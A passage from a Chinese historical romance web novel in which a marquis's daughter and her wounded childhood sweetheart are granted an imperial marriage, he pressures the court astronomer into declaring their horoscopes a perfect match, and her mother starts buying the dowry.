“阿锁。”
江曜喊姬时语坐过来,先执起筷子为她布菜。
他夹起两块鹧鸪肉,用小碟递到她的跟前。
他说:“你不是总念叨想吃三元酒楼的烧鹧鸪,吃一口尝尝。”
姬时语猫瞳微愣,“你连三元酒楼的厨子也寻来了?”
“嗯。”
姬时语一时无言,她忍不住望着江曜平静的面庞。
少年俊逸清冷,行事又乖张难以琢磨。
那双凌厉的狐狸眼抬起时,触及她的目光,突然之间就变得柔软起来。
姬时语的嗓子好像一刹那哽住。
其实说要吃三元酒楼的烧鹧鸪,这话连她自己也记不清是究竟何时戏说过。
兴许那时候她只是一时兴起,在江曜手边吵闹多嘴,说着自己要吃要品尝。
可是哥哥总将她细枝末节的话,当作重要之事。
他不曾言语过对她有多爱,但这六年间,两人相处多时,他从事无巨细的点点滴滴,有无数回的,倾诉过他满心的珍爱。
只是姬时语一直未曾领悟。
现如今她已然懂得他倾注的爱意,满满深藏在每一日、每一时。
他怎么能就这么好呢?
“怎么了?”
江曜望见姬时语迟迟不动筷,只是注视着自己,眼眸偶时流转,溢出星星点点的水光。
他又将小碟推过去了些,说着:“阿锁,再不吃,过会儿可要凉了。”
然而,小姑娘温暖柔软的身躯,在这个时候,轻轻软软靠上他的手臂。
“可是现在我想抱你一会儿。”
姬时语圈住他的手,一双手抱住他的手腕,脑袋也窝进了他的肩窝里。
她不敢大动作,怕弄疼江曜的伤口。
于是她蹭了蹭,娇嗔地喊他的名字,带着撒娇的意味。
“江曜,我好喜欢你呀。”
第125章
“阿锁,先用饭吧。”
姬时语惊诧,江曜竟是在她袒露心声之时,抽离了自己的手臂。
“为何?”
姬时语心生不满。
她好容易说一句好听的话,他却拂她的意,岂不是要驳了她的心意吗?
“江云让,先前你还埋怨我不多说,这会儿我说,你又不让,我不服。”
姬时语反手搂紧江曜的胳膊,又把自己的身体紧紧贴了过去,仰首不经意之间的抬眸,她笑得明媚。
身前的少年偏过头,清冷侧脸稍显紧绷,凌厉的狐狸眼尾流露着一抹不自在。
连带被她抱紧的手臂亦是崩成一条线,他的腕骨发了力,紧紧的。
姬时语恍然大悟。
她的哥哥是被她说的害羞了!
哼哼,原来江曜也会因她露_骨的爱意而耳红啊。
“哥哥,不要嘛。”
姬时语笑声悦耳,便说着:“你不让我说,我偏要说,我心悦之人是你呀!”
江曜不作声,连脖颈也拉直了,想疏离姬时语近身吐出的玉兰花香。
两人挨得太近,她娇躯的绵软是直透过薄薄的衣料,搭在了他的手臂。
“阿锁,别闹了。”
江曜嗓音沙哑,喉结不自觉滚动。
“我就要闹嘛,哥哥可不能生我的气啊。”
偏姬时语不以为然,贴在他身上,磨蹭着,止不住地撒娇讨笑。
从前都是江曜逗弄她,面红耳赤非凡。
她总觉得少年脸皮厚,逗她这个脸皮薄的,她经不住他的挑弄。
今日两人反之,江曜颇为不自在,她却心花怒放。
抓到能逗弄江曜的机会,姬时语焉能放过。
“便当我补给你的好了,早前没说过,这回一口气说给你听啊。”
姬时语双手攀住江曜的手掌,她支起上半身,顺着江曜的手臂爬上去。
朱红的娇唇柔软地落在了他冰凉的侧脸颊。
“江曜,我喜欢你。”
姬时语亲了他的脸颊,又亲他的鼻子。
“是真心的,绝无作假。”
姬时语轻轻啄他绷紧的唇角。
“这辈子,我只会嫁给你呀,江曜。”
话音刚落,眼前迟迟未动的江曜蓦地扭转头颅,一双微暗沉的狐狸眼捉住了她莹白的脸。
姬时语才离开他的唇,抬起身时,飞快地被江曜扣住了柳腰。
她一条腿被架着跪在了江曜的腿上,他的双手合拢,便是握住她细软的腰。
姬时语被带着往他怀中倒去,她又吓坏了。
连忙双手都抵在江曜的肩侧,姬时语着急喊道:“不行,你身上还有伤未愈。”
“你现在知道我重伤了?”
这个姿势之下,姬时语个头比江曜还要高,不得已只能俯视他。
他虽是仰视于她的姿态,可双手禁锢着她,鼻息间干净的气息席卷,显得更为强势。
“都说了,让你不要这时候勾我,我会忍不住。”
江曜将唇凑过来,他眼中如汹涌的潮水不断翻涌,姬时语一眼看懂了那种的意味,便捂住了他的嘴。
他目光太过缠绵,爱意泛滥,可比姬时语言语来的赤_裸_裸。
那种感觉,满含着爱与欲念。
大有一种想要就地,掀开她身上那件翠绿色云纹花衫的错觉。
一把撕碎。
“我不说了。”
姬时语可不能由着江曜胡作非为,她小脸红润,眼眸瞥开了,咬住朱唇:“江曜,你可不能胡来,养伤要紧。”
“呵,刚怎么不说呢?”
江曜垂眸,拢起阴暗的色泽,“阿锁,我倒是不介意尝试一回病中如何雄/起的,我虽上身和腰不便用力,但手还是完好的,断不会让你失望。”
“你说的什么乱七八糟的,我不听了!”
姬时语脸皮薄,叫江曜说的有的没的,眨眼之间便是燥热红了一张小脸。
“阿锁。”
“江曜,你病中要清淡,要清心寡欲,不可重_欲。”
“我还不够忍耐的?”
江曜的手心抚摸着姬时语的腰窝,有腰带遮挡,他摸不到她柔滑的肌肤。
但这般轻柔的抚摸还是让姬时语感到痒意,咯咯咯笑着便圈住了他的脖子。
“不要摸我,真的好痒啊。”
姬时语推搡江曜两下,没用力道,江曜便改做将手心搭在她的腰上。
江曜故意逗她,“还闹不闹了?”
“不闹了。”
姬时语乖乖从江曜身上爬下来,又坐回木椅里。
这回两人皆未做打闹,江曜将鹧鸪递来她面前。
“快吃吧,凉了味道可不好,趁热尝尝。”
“那乌鸡汤可是为你备的?鹧鸪重油,你少吃些,喝点汤吧。”
姬时语笑眯眯瞧着江曜为自己布菜,她也学着他的动作。
取来一只瓷碗,舀了半碗的乌鸡汤,她递给江曜。
那面江曜还真就顿住手腕,静候小姑娘将瓷碗端到他的跟前。
谁料姬时语才捧上碗,动了动鼻尖,是又被乌鸡汤的香气勾走。
“好香啊!我想尝尝这个。”
姬时语舀了两口,小口喝下,暖汤润入肚中,香气更甚,她又品了几口,一小碗乌鸡汤便喝去一半。
江曜看笑了,狐狸眼眯起,他问道:“不是说给我舀的,还自己喝上了?”
这个小馋鬼。
姬时语不好意思心虚挪眼,“闻着好香,经不住就多喝了……”
江曜笑容宠溺,“那还给我喝吗?”
“自然!”
姬时语瞅瞅手心的瓷碗,乌鸡汤已被她喝去了大半,碗壁还残余浅淡的口脂,无不彰显她在偷吃。
哪好意思将这碗给江曜啊?
姬时语偷摸放下碗,要再取一只新的,然而江曜长臂一伸,将这只瓷碗执起,就着她未吃完的汤喝了两口。
“不是,你!”
姬时语来不及拦,江曜已是喝下了乌鸡汤,他缓慢侧眸而来,反问她:“怎么?”
“这是我才用过的。”姬时语干巴巴道。
“那又如何?”
“我想着给你再取一只新的。”
“不必,你不是
刚用这只碗给我盛汤吗?”
“话是这么说,但……”
姬时语有些扭捏,只因是她先用过江曜原本的汤碗。
可江曜却似无所谓,径直就着她喝过的碗。
寻常人家之中,若说夫妻之间不介怪的,因也无几个人。
江曜并不介意。
他真的十足纵容她啊。
姬时语瞬间释怀。
她拿起筷子,夹了一块烧鹧鸪肉入口。
油香四溢,回味还带有甘甜,咀嚼着不断回香,姬时语两眼放光,不禁赞叹。
“好吃!”
“喜欢吗?”江曜笑着望她。
姬时语重重点头,“很喜欢!”
“那很好。”
江曜轻描淡写地冒出一句,“待日后你嫁入楚王府,还想吃的话,便让厨房的人做便是。”
姬时语的筷子“啪嗒”掉在了小碟上。
她没听错吧?
嫁、嫁入王府。
“你已有对策了?”
姬时语双目震惊,她沉声而道:“我父亲那日才告诉我,说陛下不情愿忠义侯府与楚王府结秦晋之好,许还是太过忌惮两府权势过大。”
江曜抬起手来,轻轻抚在她的额心。
姬时语下意识地便是闭合起眼。
再睁开时,江曜望着她轻笑,狐狸眼没了冷意,柔情纵生。
“你不是好奇,楚王可是真的不能行人事?”
“这,这不好再这儿谈及吧。”
姬时语赶紧朝着外室瞥眼,确信屋外并未有人隔墙有耳,稍稍松口气。
“安心,我的寻阳院,只会是自己人。”
江曜笑她谨慎,他说道:“阿锁好奇,那我不妨告诉你。江子墨并非楚王的亲生儿子,实则是胡氏与旁人所生。”
“那为何楚王从未揭发过,还隐瞒了这样之久?”
“还不是楚王已残废,王府又后继无人,他便瞒着,不与人道出真相。”
“直到你被认回王府。”
姬时语终于懂得,楚王对江曜为何偏心似得疼爱。
其一白流乃是他爱过的女人,其二便是是真心为白流诞下自己亲子而欣喜若狂。
楚王以为此生自己定无亲生孩子,才会隐忍认下江子墨这个父不详的孩子。
姬时语禁不住喃喃,“陛下怕是很动怒吧?”
“不气是不可能的,这可是混淆皇室血脉的重罪。”
江曜沉默片刻,说着有了嘲弄之意,“不过楚王与老楚王咬死不认,陛下也拿王府没辙。加之三皇子先重伤,差点要了我的性命,如今我是楚王府唯一的子嗣,我的命便尤为的贵重。”
“你那日入宫便是为演一出苦肉计,让陛下生出愧疚?”
“阿锁聪慧。”
姬时语如玉的小脸鼓了鼓,“我是听说你受册封才想到的。”
“我越是快要死不活,难以医治,三皇子越是狡辩不承认他之过,楚王府能在陛下那儿锁谋求的便越多。”
因此,那一日进宫,江曜与楚王皆是被抬入太和殿的,父子俩如出一辙的宛如死尸。
这一出是闹得弘文帝不得不妥协。
为楚王府的凄凄惨惨戚戚。
“还真是攻心之计。”
姬时语赞道:“高,还真是高啊!”
“因而我才说,阿锁不必忧心赐婚圣旨。”
江曜不置可否地笑笑,“我想娶你,绝非一夕一朝的冲动,赌上身家性命,此生我也要迎你过门。”
正如姬时语袒露心声,表明她的心意。
江曜亦挑明他的爱。
那日受三皇子一剑,是已倾注他的尽数。
姬时语曾惧怕他,但江曜佐证,他心甘情愿为她献上自己的命。
而如今,他迎娶她为妻的念想。
更是坚决。
他无可撼动的起誓。
谋划至今,图的只是一个她而已。
……
姬时语自楚王府归忠义侯府时,已是日暮夕阳。
江曜说的那句“不必忧心赐婚圣旨”,这句话如同魔音缭绕,在她耳边晃晃挥之不去。
致使她入睡时候,还在思忖他的意思。
姬时语昏昏睡过去后,又怨怪起江曜来。
平白打什么谜语呢,想要求娶于她,还要遮遮掩掩的,真让人挂心。
心头跟猫爪子挠过一样,痒痒的。
翌日的清早,院外萍亭和萍柳急匆匆地跑入,两人是直奔内室而来。
“小姐,快些起来。”
“何事啊?”
“宫里头来人了,您清醒些,得去门房处呢。”
姬时语迷迷糊糊的,被两个丫鬟架着梳洗更换了一身着装,套上织锦梨花裙,再编好发髻,簪入珍珠排簪。
铜镜之中的女子顿时生出明华的端庄来。
姬时语领着丫鬟步履轻摇,小步加快,没到片刻便已来至忠义侯府的前院。
姬老夫人,大房舒氏、三房何氏以及二房的傅氏俱是已立在此处等候。
不远处舒氏正与一太监公公闲谈着,姬时语抬眼看去,心头直跳。
这位太监公公不是别人,正是宫中近身伺候弘文帝的大总管曹云。
姬时语忙上前,同曹云福礼,“娘,曹公公。”
“五小姐快请起。”
曹云却反手虚虚搀起姬时语,笑说:“杂家可当不起这个礼数。”
“阿锁。”
舒氏拉过姬时语的手,将人带起。
而曹云见忠义侯府的众人皆已到场,反手将手中捧着的明黄圣旨呼得摊开。
侯府众人见圣旨一下,齐齐跪下等候旨意。
曹云念道:“奉天承运,皇帝诏曰。朕闻忠义侯之次女姬氏时语,柔顺端庄,名扬遐迩,具温婉之姿色,含贞静之德。今特赐婚于楚王江曜为正妃,望尔等婚后相敬如宾。令命礼部择良辰吉日,行大婚之礼,钦此!”
姬时语怔愣。
她被赐婚给了江曜?
还并非世子妃,竟是亲王的正妃?
曹云见姬时语还在跪着,是连起身都忘了,他多嘴便道:“楚王妃,陛下厚爱,请您接旨。”
“是,臣女多谢陛下赐婚,陛下万岁万岁万万岁。”
姬时语起了身,从曹云手中接下圣旨。
舒氏紧随其后,她从怀里掏出一个鼓鼓的香囊,其中赏银不止,塞给曹云。
“多谢公公跑一趟。”舒氏笑道。
曹云双眼眯成了缝儿,手指只是那么一摸,便知晓舒氏给的赏银不少,沉甸甸的。
还得是忠义侯府,喜事一出,出手便是阔绰啊。
“恭贺侯府,恭贺老夫人,恭贺侯夫人,教出一个好姑娘,得成一品亲王妃,往后侯府亦是门第生辉啊。”
曹云奉承美言。
姬老夫人笑应他,不忘问了一句,“公公可否提点,为何陛下赐封为楚王妃,可是楚王府……”
“今早上另有一道圣旨去了楚王府,楚王行动不便,公事皆由世子殿下代劳,老楚王入宫便被世子请封,陛下应允,特命世子殿下提先承袭了楚王之位。”
曹云立马领会,笑着解释道:“因此,五小姐便该是日后的楚王妃。”
姬老夫人笑点头:“谢过公公解惑。”
姬时语捧着圣旨,听得曹云一番解释,亦是了悟。
这圣旨真如同一道烫手山芋,刺得她心腔滚烫。
为的是她和江曜心愿同了,终能成眷属。
她可以名正言顺的,嫁给江曜为妻了。
姬时语的唇边溢出一道明媚的笑意。
第126章
“恭贺大嫂,恭贺阿锁。”
何氏走来道喜,她笑容亲切,眼眸慈爱地打量姬时语:“日后咱们侯府是要出一位王妃啊。”
“恭贺大嫂,语姐儿得了赐婚圣旨,府上又将迎来一门喜事。”
傅氏难得说了中听的话,同大房之人道喜。
舒氏笑着朝两人颔首,再同二房、三房寒暄几句之后,她便牵着姬时语的手往海棠苑折返。
路上走至一处花门,见四下静幽,再无旁人,姬时语终是忍不住喊住舒氏。
“娘。”
小姑娘眼神灵通,方才在侯府前院便瞧见舒氏不多自然的神色,连二房、三房与之多番道喜,也仍未面露欣悦。
姬时语走来,挽住舒氏的手,亲昵问她:“娘可还是忧心?”
舒氏端详着自家小女儿莹莹如玉的鹅蛋脸。
院内明亮,微光拂在姬时语的脸颊,粉颊玉肌,十足是十六岁如花娇俏的姑娘模样。
“阿锁,娘是舍不得你。”
舒氏抚摸着姬时语的发顶,疼爱非凡,复而叹口气,“这赐婚圣旨一下,最迟今年年末,你需得嫁入楚王府。”
“可我嫁去楚王府,也还是能回门啊。”
姬时语挽着舒氏撒娇,“总是比姐姐要好多了,姐姐去了岭西,回京一次才是难得。”
“话虽如此,你们姐妹俩嫁去别家,我心里总归是不舍。”
舒氏面上喜忧半参,“你与你姐姐不一样,薛家人好相处,她去薛家我很放心,而你要嫁去的是皇室。”
姬时语当然明白舒氏的顾虑。
江曜本是舒氏与姬雄武看着长大的少年,两人很是欣赏他的品性。
若说不应两人的亲事,还是为楚王府这一层顾虑。
可如今,江曜已亲自摆平阻碍,向忠义侯府起誓。
他迎娶姬时语的决意。
“楚王妃之事已了,云让又承袭了楚王之位,你嫁去便是亲王正妃,只会受得尊贵。”
舒氏说道:“但入皇家,许多事便不是我和你父亲能左右的。”
这便是舒氏的忧心忡忡。
姬时语自小身子弱,舒氏将她看作眼珠子似得呵护,在侯府的十六年,百般娇宠。
为让小女儿心性纯良,远离世事,舒氏同样牺牲诸多。
她没有跟随姬雄武前去岭西,夫妻两地分离近十年,只因姬时语去不得荒凉的岭西。
再来,舒氏还真切的恳求亲生父亲舒老爷子,为小女儿谋求庇护。
舒老爷子早已罢官几许年载,不理朝政。
但舒家还未退离京城时,曾在京中享用一席之地。
因着舒老太爷乃是大儒,是曾经赫赫有名的太师大人,名下学生众多。
更曾有幸,教导过弘文帝几年。
舒氏道:“阿锁兴许不知,如今的首辅魏大人,曾也受过你外祖父的教诲,是你外祖父赏识于他,魏家才会走的如此顺遂。”
姬时语很震惊。
魏召竟然是外祖父的学生之一。
“胡老太爷被剥去兵部尚书之位,陛下交由岭西归京的曾大人接任,你猜怎么的?”
舒氏笑说:“一位魏大人,还有一位曾大人,这两位皆受过你外祖父的嘱托,助云让顺利执掌楚王府。”
姬时语惊讶问:“娘如何知晓的这么清楚?”
“这些是我恳求你外祖父办的事。舒家离京,但你外祖父名望仍在,他老人家出面,朝堂几位大人会给几分薄面。”
姬时语从舒氏口中才得知,朝堂之上,不光首辅魏召,新任兵部尚书曾大人,连六部九卿俱遍布外祖父的学子。
门生广罗之多,不敢细想。
“我请你外祖父助云让一臂之力,也是为让你能过上更好的日子。楚王府乱象若能平息,你嫁去便省点心。”
舒氏的疼爱之情向来很深,姬时语领会到亲眷无上的关切,心头瞬间发涩,便依偎进了舒氏的怀抱。
她轻轻唤:“娘……”
“是了,你得封楚王妃这事,我还需转告舒家。”
整个舒家,当年的舒老爷子与老夫人,便仅有舒氏这么一个女儿。
因此她的孩子姬合英与姬时语,是两位老人家无比疼宠的孙辈。
舒氏笑言:“届时再看你外祖父与外祖母可会入京一趟。”
……
三月初八,钦天监。
今日钦天监监正焦极接到了上头的旨意。
陛下下旨,命钦天监接任合算,楚小王爷江曜与忠义侯府五小姐姬时语的生辰八字。
焦大人还在愁眉苦脸之中,手下属官便来报,说是楚小王爷亲自带着五小姐的八字过来了。
焦极立马起身去迎接江曜。
前两日圣上赐婚,楚王府与忠义侯府结下秦晋之好,实在令众人大为诧然。
而今江曜接管楚王府,十九岁承袭其父王爷爵位,受誉为京中最年轻的亲王之身。
又当任正二品的武军都督府,都督大人。
焦极是有一百个脑袋也不敢招惹江曜。
“江大人,这点小事还用得着您特地跑一趟。”
因而迎面上江曜时,焦大人满面哂笑:“听闻江大人受伤,该留待王府好生休养呐。”
“无碍。”
江曜一袭墨色劲装,身段颀长,这般之下是看不出他似受过重伤。
他面容冷淡,一双狐狸眼顿着阴寒,轻朝侧睨一眼,林一意会地上了前来。
在林一手中,捧着一张红纸。
其上便写着姬时语的生辰八字。
“焦大人身为钦天监监正已有十余年,素来通命理,只是算一算八字是否合适,该难不倒你吧?”
短短一句话,听得监正焦大人冷汗涔涔。
楚小王爷话语之中胁迫意味极深。
稍有不慎,八字算的不妙,那可是惹到太岁爷头上去了。
焦极胆颤心惊。
“小王爷放宽心,还是先让臣观目过你们二人的八字。”
“林一,给他。”
林一应后,将两张红纸一起递过去。
焦极接过,便拿出纸笔写写画画。
江曜瞥去一眼,瞧看不明白,索性不看了。
焦极算过姬时语的八字,又翻动下面一张江曜的。
笔还未落下,口里不自觉便发出了嘶地一声。
“如何?”
江曜脸色暗沉,直盯着钦天监的监正。
“这……没什么、没什么。”
焦大人头皮发麻,只觉得手心动弹不得。
手里江曜的八字赫然彰显此人乃天煞孤星,嗜血煞神一个。
可这话他哪敢当着江曜的面说啊?
那股恐慌之意引得焦大人屏住呼吸,“小王爷稍安勿躁,臣再瞧瞧。”
“殿下,您身子未愈,合八字还要些时候,不如坐着等候。”
林一在旁轻声开口:“五小姐亦是叮嘱过,您得养好身子。”
“阿锁如今是王妃。”
江曜不耐烦地止住林一的唠叨。
林一噎住,明白过来复而改口:“是,是小王妃娘娘。”
“嗯。”
江曜听得这一声小王妃,心怀喜悦之情,浑身舒坦极了。
不错,姬时语已是他的未婚妻,不日之后,便会成为他的王妃。
他心情极佳,江曜便勾唇落了座,静候钦天监盘算他与姬时语的八字。
那厢可是难为住监正焦大人。
算一个八字并非难事,弘文帝历来赐下的婚事不少,钦天监也一一将两人八字合过,促成过几桩美事。
然,江曜的八字实在太煞,且只看八字,他本该是已死之人。
这辈子亦活不过十八岁。
江曜亲眼见焦极满脸惊恐,良久不语,他失了耐心,一把抽出长刀狠狠拍在了桌案之上。
“砰——”
江曜冷嗤:“焦大人,有何不能说的?是我与阿锁八字不合,还是怎么样,你给我个交代。”
焦大人真可谓是满头大汗。
扭过头时,只见江曜手里的长刀已是抽出刀鞘,那颗绿宝石泛着幽幽的暗光。
下一刻,就能砍掉他的脑袋。
江曜阴郁沉下眼睑,说道:“我与五小姐相识六年,是青梅竹马情深意重,这门亲事更得圣上金口亲赐,你该知晓自己应要做何事。”
“这个……”
焦极百口莫辩。
“快说!”
江曜禁不住咳嗽了两下,嘴唇霎时变得雪白,是大为动怒,牵动胸膛的伤口。
“王爷莫要动气。”林一着急扶住江曜。
“不,我要焦大人说。”
江曜执拗的抬眼,再度直勾勾望着钦天监的监正。
“小、小王爷。”
焦大人惶恐不安,他擦了把额头的汗渍,“您和忠义侯府五小姐的八字还算堪佩,只是……”
“住口!”
江曜径直拔出长刀,冷脸将刀架在焦大人的脖上。
他阴沉沉威慑道:“我可不要‘还算堪佩’,焦大人,你只管告诉我,是不是天作之合,良缘天定吧。”
冷气席卷焦大人全身,他的官帽一歪,堪堪便要垂落。
焦大人赶忙扶正,哆哆嗦嗦应道:“是,小王爷与五小姐乃金玉良缘,八字上看是天生一对,再无第二人能得此堪佩。”
“很好。”
江曜满意了,他清冷的脸扬起浅淡的笑意。
长刀便从焦大人脖上挪开,他将刀刃收入腰间。
焦大人惊恐未定,他摸摸脖子,确信自己小命还在,终是还了魂。
便也更为相信,江曜只愿意听他爱听之话,旁的“只是、然而”那些不好之言,尽数当耳边风,一概不认。
焦大人不再多言,只是问江曜:“臣还为两人算出几个吉日,小王爷可要一选?”
“说来听听。”
江曜狐狸眼一眯,他颔首。
焦大人取来纸,一个日子的对着念:“第一个良辰吉日,明年的……”
“明年?这婚事我今年必要办了,忍不到明年。”
江曜蹙眉
不悦。
“那十二月十五?”
“是十二月?你要我等大半年再成婚?太迟了。”
焦大人不说话,他改口道:“下一个,十一月初十、十月初一。”
“都太晚,就没更早的日子?”
“小王爷,皇室婚期本就极长,礼部那面要备之事更多,没个五六个月,怕是办不妥的。”
“那是该你们操心的事,我不信朝堂养的皆是无能之辈。”
“那还有一个日子。”
焦大人叹口气,道:“最后一个,九月初九。”
江曜凶狠地瞪过来,焦大人再度受得一道如同要将他吞噬的杀人气息。
“真无了?”江曜问。
“是。”
九月初九。
是钦天监监正焦大人能算出的,最近亦是绝佳的吉日。
江曜八字太冲,好在姬时语恰好压的住他。
两人若结为夫妻,反而能逢凶化吉,江曜转危为安。
这便是焦大人并未出声阻碍两人的缘由。
因此当两人八字合完,大婚之日定夺下来的消息传回忠义侯府时,舒氏微微讶异。
待一听姬时语和江曜是金玉良缘,天下只此一对,若无姬时语,江曜将为天煞孤星。
“这当真是焦大人算的八字?”
舒氏无可奈何地笑了出声,“钦天监胆敢正大光明说楚王府的不是。”
姬时语亦是发笑,“娘,不必多说,定是哥哥的意思。”
江曜此举,意在告知天下,除开姬时语,他江曜跟哪一位姑娘也不得成眷属。
唯有姬时语能为他的妻。
舒氏笑着摇头:“云让这孩子真是的。”
但没有哪个为母的,不愿意待见未来女婿疼爱她的女儿,舒氏心生宽慰。
两人的大婚之日便定在了九月初九。
“九月便要大婚,这么赶,能办妥吗?”
谁家不是近一年的时候备婚,姬时语与江曜还是皇室亲王大礼,为何这般赶时候?
舒氏一听,更显无奈,“钦天监只给了不到六个月备婚。”
……
大婚之日既已定下,又是钦天监算得的良辰吉日,忠义侯府自然别无异议。
舒氏仅和姬时语说了一句,“明日你随我出府一趟。”
翌日一大早,萍亭与萍柳便为姬时语梳洗,理好衣着,舒氏寻来时,她刚巧用罢早膳。
姬时语轻轻擦过嘴唇,舒氏便领着她去府门前乘车。
母女俩乘上马车,舒氏抬起戴翡翠的皓腕,朝外扬声:“去中和街。”
马夫应道:“是,夫人。”
“娘。”
姬时语还不知今日出府是为何事。
“你的婚期定在九月,离今不过六个月,我本想着若婚期在年末亦或明年,有些物什还来得及慢慢筹备。”
马车已是前行,舒氏同姬时语说道:“时日太短,怕是来不及,只得上街多采办些所需之物。”
姬时语很是疑惑,“上回娘带我去库房,我瞧着府上物什不少。”
“唉,阿锁。”
舒氏轻声叹口气,她后知后觉意识到自己的小女儿几乎不曾接触这等事,是还太过懵懂。
“这些时日你哪儿也莫要去,随我学掌家吧。”
舒氏一句定夺,姬时语心头大骇,忙惊讶地回问:“娘,怎就要我学掌家了?”
“不学可不行,你要嫁去的是王府,到时头上无主母当家,能做主的便是你,中馈之事,还是要牢牢掌在手心。”
舒氏之话实属诚然,她娘也是为她考虑繁多,姬时语辩驳不得,便应了好。
去往中和街的路上,舒氏又与姬时语说着许多。
如今日为何要上街采办。
侯府为她备下的嫁妆足够她以正妻之位,嫁去京中的任何一门世家之中。
然而姬时语偏偏被赐为亲王正妃,还是皇室有且仅有一位的楚王。
“三皇子妃,也就是安国公府的嫡长女柳氏。当初她出嫁,安国公府备下六十抬嫁妆,规格不输太子妃大礼。柳氏嫁的还只是三皇子,并非王爷,安国公府那是真拿她作太子妃看呢!”
舒氏径直冷笑了一声,她温柔的嗓音布着冷意的刀子,“而你,我的阿锁,我们侯府的姑娘,我与你父亲相商过,嫁妆必须抬起来。此前备好的六十抬不够用了,还需再添,娘可不想你在嫁妆之上输给她。”
“娘,你何事都为我着想,我像不必操心一般……”
“我只余下你这个女儿还未嫁,不操心你操心谁?”
姬时语轻笑着靠在舒氏的手臂,舒氏便笑望垂下慈爱的眼,用手心柔柔地拍着她的手背。
“如梳妆台、拔步床的家具,不好采办,一眼便会瞧出不是老木头,再来库房尚有。”
“那我们要买哪样好?”
“金银器具,罗绸缎料,香皂胭脂也可多备些。”
舒氏笑说:“我已与你外祖母去了信,看舒家可还有私藏的古书典籍,让他们送些过来。”
“娘,你又同外祖母讨要外祖父的好宝贝啊?”
姬时语一听这话可没忍住笑声。
对于外祖父舒老太爷而言,他珍藏下来的古书典籍本本皆为无价之宝。
他老人家自个儿都舍不得拿出来摸。
上回姬合英成亲,舒氏便好一番讨巧,舍近求远求到了舒老夫人。
舒老夫人是个疼孙辈的,二话不说便宰割舒老太爷的好些珍爱古书,送来给姬合英添妆。
这事没少闹得舒老太爷怄气。
舒老夫人回信还说,没古书作伴,舒老太爷几日吃不下饭,连带舒老夫人也气上了。
姬时语便问:“外祖父能应吗?”
“有你外祖母在,不怕。”
舒氏笑道:“你外祖父就是老顽童,越老越小孩子心,哄几日便好。”
母女俩说了几句体恤话,马车刚好在中和街的前巷口停靠。
姬时语便与舒氏走下马车。
需采办的首饰不止金银物什,舒氏还择了琥珀、玛瑙与翡翠。
像吊坠、璎珞与金银项圈,她各挑几样。
零零总总盘算下来,姬时语简直瞪目结舌。
舒氏取样式,并非一样一样的拿,而是一把又一把的抱抓。
一趟挑下来,便是一筐罗的装箱。
跟随两人上街的林妈妈掏着银票,光是走这首饰铺子,便花去上百两的银子。
舒氏不便携带,便叮嘱店里的掌柜,“劳烦送去忠义侯府。”
“是,侯夫人。”
掌柜笑应。
而罗绸缎料,舒氏买的更多。
绸缎花样多,现又是频频时新的春夏之季,各色琳琅丝绸满目。
舒氏各样选一二十匹,又置办笏缎子床帘、薄纱帷幔,与彩缎衾褥、鸳鸯枕等。
姬时语的眼前是被各物堆满。
“娘。”她欲言又止。
舒氏点头,很是满意,道:“嗯,买下不好好货,今日先买这些吧。”
“这些还不够吗?”
“这才哪儿到哪儿,连十抬还不到。”
舒氏是兴致盎然,姬时语却已感疲惫之意。
小姑娘蔫巴巴地垂头,猫瞳些许可怜的盯着舒氏,她说:“娘,先回府吧,下回再采办呢。”
“行吧,改日再来。”
舒氏早是看出了姬时语转着弯儿的在撒娇,她笑眼眯起。
姬时语虽未在旁指指点点挑选择物,可只是眼望着舒氏备货,身心俱是如同劳累一通。
尽管要当新娘子的人是她。
可她还是生出一个念头:备婚真是有够繁琐的!
……
听闻弘文帝赐下楚王府与忠义侯府的婚事,三房两位已出嫁的姐姐们相约在三日后回门。
姬如萍与姬如蕊入府便前来韶华院寻人。
方踏入屋中,便见姬时语一袭鹅黄襦裙,怏怏地趴窝在内室的侧榻,神色怏然。
“这是怎的了?”姬如萍笑着走近。
“三姐,四姐!”
姬时语已有些时日未见两位姐姐,今日一见,喜笑颜开,顿时从侧榻爬起来。
姬如萍嫁去谭家,是谭家的少奶奶,而姬如蕊嫁的是常家庶长子。
姬时语瞧着,两位姐姐皆做盘发,如兰秀丽,面色红润,婚后的日子应过的不错。
“你们怎么过来了?”
得姬时语一问,姬如萍没好气笑说:“这还不是听说我们的好五妹,得到陛下赐婚,将要嫁入楚王府。”
“回门路上,我可占便宜的。”
姬如蕊立马拽住姬如萍的手腕打趣道:“三姐愿赌服输,给了我十两银子。”
“真是的,你就该还我五两,我说过的啊,五妹定会嫁给江大人。”
姬如萍颇为怨念,姬如蕊笑声不止,就是不还这五两银子。
“看两位姐姐过的好,我也就放心了。”
姬时语笑起来。
“你这话说的,我们本意是担心你才回侯府,你还担忧我们做甚?”
姬如萍亲切说着:“五妹该是忙活备嫁吧,嫁去亲王府需准备的可不少。”
“是啊,娘非要命我学管账打理田产铺子,我整日都得抱着算盘琢磨,好累啊!”
姬时语哀怨垂眸,一双秋水眼瞳便顿生委屈。
姬如蕊沉声道:“掌家主母不好当,学问多,五妹多同大婶娘学啊。”
“身在高位,应担其职。”
姬如萍劝慰她道:“我相信五妹你定能胜任楚王妃之位。”
姬时语幽幽叹口气,笑着回了两人。
不一会儿,三姐妹还在屋中笑说着他话,萍亭已自外小跑闯入,心急禀报道。
“小姐,楚王府下聘来了,您快些去门房。”
“楚王府来人了?”
“我们正巧赶上下聘之日。”
姬如萍和姬如蕊面面相觑,两人忙笑着去牵姬时语的手,“五妹,快些走吧。”
事不宜迟,三姐妹匆匆赶去忠义侯府的前院。
舒氏与何氏已先一步抵达,姬如萍与姬如蕊便先去同何氏问好。
姬时语来到舒氏身边,她一个挑眼,眸光越过门房的管事。
直落于一道颀长的身影。
江曜今日亦是前来忠义侯府,他立于府门前,指挥着王府下人从马车卸货下来。
高大威猛的石狮子便矗立在他手边,却堪堪被江曜那身矜贵强行压了下去。
江曜一袭玄色阔袖蟒袍,腰系玉带,勾勒出劲瘦的腰身。
他束发高冠,长身玉立,清冷侧眼渡了一层浅淡的亮泽,难掩华光贵气。
“这人……”
姬时语可没忘却江曜还是重伤在身,又有些怨怪他胡来。
她不禁低声喃喃,“伤未痊愈,又瞎跑呢。”
舒氏在旁听了个八_九不离十,笑自家女儿,“上心云让?过会儿你去见他一面便是。”
姬时语昂首回问:“这好吗?”
“你们又非寻常未婚夫妻,是那等从未有过几面的。早先便知根知底,有何不能见?”
江曜重伤亦要**前来下聘,他是想给姬时语做足面子,不让她被外人说三道四。
更也是重视姬时语。
舒氏懂得江曜多喜欢她的女儿,愿意促成两人感情深些。
